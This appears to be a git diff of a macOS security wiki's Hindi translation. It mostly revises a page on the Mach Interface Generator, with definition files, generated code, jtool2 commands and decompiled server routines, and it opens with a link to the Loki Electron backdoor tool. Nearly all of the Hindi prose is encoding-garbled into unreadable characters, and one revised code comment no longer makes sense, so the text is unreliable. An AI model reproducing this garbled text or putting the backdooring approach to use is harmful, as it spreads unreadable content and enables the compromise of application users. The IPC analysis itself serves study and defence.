[https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki рдХреЛ Electron рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдмреИрдХрдбреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА JavaScript рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ Loki Command & Control JavaScript рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рдмрджрд▓рддрд╛ рд╣реИред + +## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index d11573791..a39d43de9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -25,7 +25,7 @@ MIG рдХреЛ **Mach IPC** рдХреЛрдб рдирд┐рд░реНрдорд╛рдг рдХреА рдкреНрд░рдХреН ### Example -рдПрдХ рдкрд░рд┐рднрд╛рд╖рд╛ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХ рдмрд╣реБрдд рд╕рд░рд▓ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде: +Create a definition file, in this case with a very simple function: ```cpp:myipc.defs subsystem myipc 500; // Arbitrary name and id @@ -42,7 +42,7 @@ n2 : uint32_t); ``` рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрд╣рд▓рд╛ **рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдмрд╛рдЗрдВрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯ рд╣реИ** рдФрд░ MIG **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрддреНрддрд░ рдкреЛрд░реНрдЯ рдХреЛ рд╕рдВрднрд╛рд▓реЗрдЧрд╛** (рдЬрдм рддрдХ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛрдб рдореЗрдВ `mig_get_reply_port()` рдХреЛ рдХреЙрд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛)ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рдСрдкрд░реЗрд╢рдиреЛрдВ рдХрд╛ ID** **рдХреНрд░рдорд┐рдХ** рд╣реЛрдЧрд╛ рдЬреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдмрд╕рд┐рд╕реНрдЯрдо ID рд╕реЗ рд╢реБрд░реВ рд╣реЛрдЧрд╛ (рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдХреЛрдИ рдСрдкрд░реЗрд╢рди рдЕрдкреНрд░рдЪрд▓рд┐рдд рд╣реИ, рддреЛ рдЗрд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ ID рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `skip` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред -рдЕрдм MIG рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛрдб рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдПрдХ-рджреВрд╕рд░реЗ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХреЗ рдФрд░ Subtract рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХреЗ: +рдЕрдм MIG рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛрдб рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдПрдХ-рджреВрд╕рд░реЗ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХреЗ рдФрд░ рдШрдЯрд╛рдиреЗ рдХреЗ рдХрд╛рд░реНрдп рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХреЗ: ```bash mig -header myipcUser.h -sheader myipcServer.h myipc.defs ``` @@ -89,7 +89,7 @@ routine[1]; {{#endtab}} {{#endtabs}} -рдкрд┐рдЫрд▓реА рд╕рдВрд░рдЪрдирд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдлрд╝рдВрдХреНрд╢рди **`myipc_server_routine`** **рд╕рдВрджреЗрд╢ рдЖрдИрдбреА** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдЪрд┐рдд рдлрд╝рдВрдХреНрд╢рди рд▓реМрдЯрд╛рдПрдЧрд╛: +рдкрд┐рдЫрд▓реА рд╕рдВрд░рдЪрдирд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдлрд╝рдВрдХреНрд╢рди **`myipc_server_routine`** **рд╕рдВрджреЗрд╢ ID** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдЪрд┐рдд рдлрд╝рдВрдХреНрд╢рди рд▓реМрдЯрд╛рдПрдЧрд╛: ```c mig_external mig_routine_t myipc_server_routine (mach_msg_header_t *InHeadP) @@ -108,14 +108,14 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine; рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ **reply** рднреЗрдЬрдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХреА рдЬрд╛рддреА, рддреЛ рдлрд╝рдВрдХреНрд╢рди `mig_internal kern_return_t __MIG_check__Reply__` рднреА рдореМрдЬреВрдж рд╣реЛрддрд╛ред -рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЗрд╕ рд╕рдВрдмрдВрдз рдХреА рдкрд╣рдЪрд╛рди **`myipcServer.h`** рдореЗрдВ **`subsystem_to_name_map_myipc`** рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ (**`subsystem*to_name_map*\***`\*\* рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ): +рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЗрд╕ рд╕рдВрдмрдВрдз рдХреА рдкрд╣рдЪрд╛рди **`myipcServer.h`** рдореЗрдВ **`subsystem_to_name_map_myipc`** рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ (**`subsystem*to_name_map*\***`** рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ): ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ { "Subtract", 500 } #endif ``` -рдЕрдВрдд рдореЗрдВ, рд╕рд░реНрд╡рд░ рдХреЛ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлрд╝рдВрдХреНрд╢рди рд╣реЛрдЧрд╛ **`myipc_server`**, рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд id рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд **рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛**: +рдЕрдВрдд рдореЗрдВ, рд╕рд░реНрд╡рд░ рдХреЛ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлрд╝рдВрдХреНрд╢рди рд╣реЛрдЧрд╛ **`myipc_server`**, рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд id рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд **рдлрдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛**:
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -149,7 +149,7 @@ return FALSE;
 }
 
-рдкрд╣рд▓реЗ рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдХреА рдЧрдИ рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдЬреЛ ID рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд░рд╣реА рд╣реИрдВред +рдкрд╣рд▓реЗ рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдХреА рдЧрдИ рд▓рд╛рдЗрдиреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдЬреЛ ID рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд░рд╣реА рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд░рд▓ **рд╕рд░реНрд╡рд░** рдФрд░ **рдХреНрд▓рд╛рдЗрдВрдЯ** рдмрдирд╛рдиреЗ рдХрд╛ рдХреЛрдб рд╣реИ рдЬрд╣рд╛рдБ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд░реНрд╡рд░ рд╕реЗ Subtract рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: @@ -217,7 +217,7 @@ USERPREFSubtract(port, 40, 2); ### NDR_record -NDR_record рдХреЛ `libsystem_kernel.dylib` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдпрд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдПрдХ рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ MIG рдХреЛ **рдбреЗрдЯрд╛ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдХрд┐ рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдкреНрд░рддрд┐ рдЕрдЬреНрдЮреЗрдп рд╣реЛ** рдЬрд┐рд╕ рдкрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ MIG рдХреЛ рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдХреЗ рдмреАрдЪ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЛрдЪрд╛ рдЧрдпрд╛ рдерд╛ (рдФрд░ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рдорд╢реАрди рдореЗрдВ рдирд╣реАрдВ)ред +NDR_record рдХреЛ `libsystem_kernel.dylib` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдпрд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдПрдХ рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ MIG рдХреЛ **рдбреЗрдЯрд╛ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдХрд┐ рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдкреНрд░рддрд┐ рдЕрдЬреНрдЮреЗрдп рд╣реЛ** рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ MIG рдХреЛ рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдХреЗ рдмреАрдЪ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЛрдЪрд╛ рдЧрдпрд╛ рдерд╛ (рдФрд░ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рдорд╢реАрди рдореЗрдВ рдирд╣реАрдВ)ред рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ `_NDR_record` рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдореЗрдВ рдПрдХ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (`jtool2 -S | grep NDR` рдпрд╛ `nm`), рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдмрд╛рдЗрдирд░реА рдПрдХ MIG рдХреНрд▓рд╛рдЗрдВрдЯ рдпрд╛ рд╕рд░реНрд╡рд░ рд╣реИред @@ -229,13 +229,13 @@ NDR_record рдХреЛ `libsystem_kernel.dylib` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдпрд╛ ### jtool -рдЬреИрд╕реЗ рдХрд┐ рдХрдИ рдмрд╛рдЗрдирд░реА рдЕрдм MACH рдкреЛрд░реНрдЯреНрд╕ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП MIG рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВ, рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ **рдХреИрд╕реЗ рдкрд╣рдЪрд╛рдиреЗрдВ рдХрд┐ MIG рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛** рдФрд░ **рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрджреЗрд╢ ID рдХреЗ рд╕рд╛рде MIG рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд╛рд░реНрдп**ред +рдЬреИрд╕реЗ рдХрд┐ рдХрдИ рдмрд╛рдЗрдирд░реА рдЕрдм MACH рдкреЛрд░реНрдЯреНрд╕ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП MIG рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВ, рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ **рдХреИрд╕реЗ рдкрд╣рдЪрд╛рдиреЗрдВ рдХрд┐ MIG рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛** рдФрд░ **рдлрдВрдХреНрд╢рдВрд╕ рдЬреЛ MIG рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрджреЗрд╢ ID рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ**ред -[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) рдПрдХ Mach-O рдмрд╛рдЗрдирд░реА рд╕реЗ MIG рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрджреЗрд╢ ID рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдп рдХреА рдкрд╣рдЪрд╛рди рдХрд░рддрд╛ рд╣реИ: +[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) рдПрдХ Mach-O рдмрд╛рдЗрдирд░реА рд╕реЗ MIG рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╕рдВрджреЗрд╢ ID рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рдЪрд╛рди рдХрд░рддреЗ рд╣реБрдП: ```bash jtool2 -d __DATA.__const myipc_server | grep MIG ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, MIG рдлрд╝рдВрдХреНрд╢рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЙрд╕ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд░реИрдкрд░ рд╣реИрдВ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЗрд╕рдХреЗ рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдФрд░ BL рдХреЗ рд▓рд┐рдП рдЧреНрд░реЗрдкрд┐рдВрдЧ рдХрд░рдирд╛ рдЖрдкрдХреЛ рдЙрд╕ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ: +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, MIG рдлрд╝рдВрдХреНрд╢рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЙрд╕ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд░реИрдкрд░ рд╣реИрдВ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЗрд╕рдХрд╛ рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ BL рдХреЗ рд▓рд┐рдП рдЧреНрд░реЗрдк рдХрд░рдиреЗ рдкрд░ рдЖрдк рдЙрд╕ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ: ```bash jtool2 -d __DATA.__const myipc_server | grep BL ``` @@ -260,18 +260,18 @@ if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4 rax = *(int32_t *)(var_10 + 0x14); // sign_extend_64 рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЬреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ // рдпрд╣ rax рдореЗрдВ рдЙрд╕ рдХреЙрд▓ рдХрд╛ рдкреЙрдЗрдВрдЯрд░ рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ -// 0x100004040 (рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдкрддреЗ рдХреА рд╕рд░рдгреА) рдХреЗ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ +// 0x100004040 (рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдкрддреЗ рдХреА рд╕реВрдЪреА) рдХреЗ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬрд╛рдВрдЪреЗрдВ // 0x1f4 = 500 (рд╢реБрд░реБрдЖрддреА ID) rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040); var_20 = rax; -// рдпрджрд┐ - рдЕрдиреНрдпрдерд╛, рдпрджрд┐ рд╡рд╛рдкрд╕ false рд╣реЛрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдЕрдиреНрдп рд╕рд╣реА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ true рд▓реМрдЯрд╛рддрд╛ рд╣реИ +// рдпрджрд┐ - рдЕрдиреНрдпрдерд╛, рдпрджрд┐ рд╕рд╣реА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рддреНрдп рд▓реМрдЯрд╛рддрд╛ рд╣реИ if (rax == 0x0) { *(var_18 + 0x18) = **_NDR_record; *(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1; var_4 = 0x0; } else { -// 2 рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдЙрдЪрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЧрдпрд╛ +// рдЙрдЪрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдХреЛ 2 рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЧрдпрд╛ (var_20)(var_10, var_18); var_4 = 0x1; } @@ -289,7 +289,7 @@ return rax; {{#endtab}} {{#tab name="myipc_server decompiled 2"}} -рдпрд╣ рдПрдХ рдЕрд▓рдЧ Hopper рдореБрдлреНрдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдбрд┐рдХрдВрдкрд╛рдЗрд▓реНрдб рд╡рд╣реА рдлрд╝рдВрдХреНрд╢рди рд╣реИ: +рдпрд╣ рдЙрд╕реА рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдбрд┐рдХрдВрдкрд╛рдЗрд▓реНрдб рд╕рдВрд╕реНрдХрд░рдг рд╣реИ рдЬреЛ рдПрдХ рдЕрд▓рдЧ Hopper рдореБрдлреНрдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рд╣реИ:
int _myipc_server(int arg0, int arg1) {
 r31 = r31 - 0x40;
@@ -333,14 +333,14 @@ r8 = 0x1;
 }
 }
 // рдкрд┐рдЫрд▓реЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдорд╛рди рдпрджрд┐ рдЕрдиреНрдпрдерд╛
-// 0x100004040 (рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдкрддреЗ рдХреА рд╕рд░рдгреА) рдХреЗ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
+// 0x100004040 (рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдкрддреЗ рдХреА рд╕реВрдЪреА) рдХреЗ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬрд╛рдВрдЪреЗрдВ
                     if ((r8 & 0x1) == 0x0) {
                             *(var_18 + 0x18) = **0x100004000;
                             *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
 var_4 = 0x0;
 }
 else {
-// рдЙрд╕ рдЧрдгрдирд╛ рдХрд┐рдП рдЧрдП рдкрддреЗ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдлрд╝рдВрдХреНрд╢рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП
+// рдЙрд╕ рдкрддрд╛ рдкрд░ рдХреЙрд▓ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдлрд╝рдВрдХреНрд╢рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП
                             (var_20)(var_10, var_18);
                             var_4 = 0x1;
 }
@@ -365,17 +365,17 @@ return r0;
 {{#endtab}}
 {{#endtabs}}
 
-рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрджрд┐ рдЖрдк рдлрд╝рдВрдХреНрд╢рди **`0x100004000`** рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **`routine_descriptor`** рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреА рд╕рд░рдгреА рдкрд╛рдПрдВрдЧреЗред рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдкрд╣рд▓рд╛ рддрддреНрд╡ рд╡рд╣ **рдкрддрд╛** рд╣реИ рдЬрд╣рд╛рдБ **рдлрд╝рдВрдХреНрд╢рди** рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ **рд╕рдВрд░рдЪрдирд╛ 0x28 рдмрд╛рдЗрдЯреНрд╕ рд▓реЗрддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдкреНрд░рддреНрдпреЗрдХ 0x28 рдмрд╛рдЗрдЯреНрд╕ (рдмрд╛рдЗрдЯ 0 рд╕реЗ рд╢реБрд░реВ) рдЖрдк 8 рдмрд╛рдЗрдЯреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд╣ **рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛** рд╣реЛрдЧрд╛ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:
+рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрджрд┐ рдЖрдк рдлрд╝рдВрдХреНрд╢рди **`0x100004000`** рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **`routine_descriptor`** рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреА рд╕реВрдЪреА рдкрд╛рдПрдВрдЧреЗред рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдкрд╣рд▓рд╛ рддрддреНрд╡ рд╡рд╣ **рдкрддрд╛** рд╣реИ рдЬрд╣рд╛рдБ **рдлрд╝рдВрдХреНрд╢рди** рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ **рд╕рдВрд░рдЪрдирд╛ 0x28 рдмрд╛рдЗрдЯреНрд╕ рд▓реЗрддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдкреНрд░рддреНрдпреЗрдХ 0x28 рдмрд╛рдЗрдЯреНрд╕ (рдмрд╛рдЗрдЯ 0 рд╕реЗ рд╢реБрд░реВ) рдЖрдк 8 рдмрд╛рдЗрдЯреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ 